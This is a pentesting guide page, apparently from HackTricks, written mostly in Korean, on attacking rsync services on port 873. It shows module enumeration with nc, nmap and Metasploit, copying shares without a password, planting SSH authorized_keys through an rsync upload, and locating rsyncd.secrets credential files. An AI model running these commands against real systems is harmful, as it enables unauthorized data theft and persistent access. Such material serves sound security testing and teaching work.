873 - Pentesting Rsync

htARTE (HackTricks AWS Red Team Expert)에서 **제로에서 영웅까지 AWS 해킹을 배워보세요**!

HackTricks를 지원하는 다른 방법:

기본 정보

wikipedia에서 가져온 내용:

rsync는 컴퓨터와 외부 하드 드라이브 간 및 네트워크 컴퓨터 간의 파일 전송동기화를 효율적으로 수행하기 위한 유틸리티입니다. 이는 파일의 수정 시간과 크기를 비교하여 작동합니다.[3] 이는 Unix-like 운영 체제에서 일반적으로 사용됩니다. rsync 알고리즘은 델타 인코딩의 한 유형이며, 네트워크 사용량을 최소화하기 위해 사용됩니다. 추가적인 데이터 압축을 위해 Zlib을 사용할 수 있으며,[3] 보안을 위해 SSH 또는 stunnel을 사용할 수 있습니다.

기본 포트: 873

PORT    STATE SERVICE REASON
873/tcp open  rsync   syn-ack

열거

배너 및 수동 통신

rsync is a utility for efficiently transferring and synchronizing files between a computer and an external hard drive or networked computer. It uses the rsync protocol, which operates over TCP port 873.

To gather information about an rsync service, you can start by checking the banner. This can be done using the nc command:

$ nc <target_ip> 873

If the rsync service is running and accessible, you will receive a response containing the rsync version and some additional information.

Another way to gather information is by manually communicating with the rsync service. You can establish a connection using the rsync command:

$ rsync <target_ip>::

This will display a list of available modules on the target system. Modules are directories or file collections that can be synchronized using rsync.

By gathering information about the rsync service, you can gain insights into the system's configuration and potentially identify any vulnerabilities or misconfigurations that can be exploited during a penetration test.

nc -vn 127.0.0.1 873
(UNKNOWN) [127.0.0.1] 873 (rsync) open
@RSYNCD: 31.0        <--- You receive this banner with the version from the server
@RSYNCD: 31.0        <--- Then you send the same info
#list                <--- Then you ask the sever to list
raidroot             <--- The server starts enumerating
USBCopy
NAS_Public
_NAS_Recycle_TOSRAID	<--- Enumeration finished
@RSYNCD: EXIT         <--- Sever closes the connection


#Now lets try to enumerate "raidroot"
nc -vn 127.0.0.1 873
(UNKNOWN) [127.0.0.1] 873 (rsync) open
@RSYNCD: 31.0
@RSYNCD: 31.0
raidroot
@RSYNCD: AUTHREQD 7H6CqsHCPG06kRiFkKwD8g    <--- This means you need the password

공유 폴더 열거

Rsync 모듈비밀번호로 보호될 수 있는 디렉토리 공유로 인식됩니다. 사용 가능한 모듈을 식별하고 비밀번호가 필요한지 확인하기 위해 다음 명령을 사용합니다:

nmap -sV --script "rsync-list-modules" -p <PORT> <IP>
msf> use auxiliary/scanner/rsync/modules_list

# Example with IPv6 and alternate port
rsync -av --list-only rsync://[dead:beef::250:56ff:feb9:e90a]:8730

일부 공유가 목록에 표시되지 않을 수 있으며, 이는 숨겨져 있을 수 있습니다. 또한, 특정 자격 증명에 대한 액세스가 제한될 수 있으며, 이는 "액세스 거부" 메시지로 표시됩니다.

수동 Rsync 사용

모듈 목록을 얻은 후, 인증이 필요한지 여부에 따라 작업이 달라집니다. 인증 없이 공유 폴더에서 파일을 목록화하고 로컬 디렉토리로 복사하는 것은 다음과 같이 수행됩니다:

# Listing a shared folder
rsync -av --list-only rsync://192.168.0.123/shared_name

# Copying files from a shared folder
rsync -av rsync://192.168.0.123:8730/shared_name ./rsyn_shared

이 프로세스는 파일을 재귀적으로 전송하여 속성과 권한을 보존합니다.

자격 증명을 사용하여 공유 폴더에서 목록을 보고 다운로드하는 방법은 다음과 같습니다. 비밀번호 프롬프트가 나타납니다.

rsync -av --list-only rsync://username@192.168.0.123/shared_name
rsync -av rsync://username@192.168.0.123:8730/shared_name ./rsyn_shared

콘텐츠를 업로드하려면, 접근을 위한 authorized_keys 파일과 같은 내용을 사용하세요:

rsync -av home_user/.ssh/ rsync://username@192.168.0.123/home_user/.ssh

POST

rsyncd 구성 파일을 찾으려면 다음을 실행하십시오:

find /etc \( -name rsyncd.conf -o -name rsyncd.secrets \)

이 파일에서는 secrets 파일 매개변수가 rsyncd 인증을 위한 사용자 이름과 비밀번호를 포함하는 파일을 가리킬 수 있습니다.

참고 자료

htARTE (HackTricks AWS Red Team Expert)를 통해 AWS 해킹을 처음부터 전문가까지 배워보세요!

HackTricks를 지원하는 다른 방법:

Last updated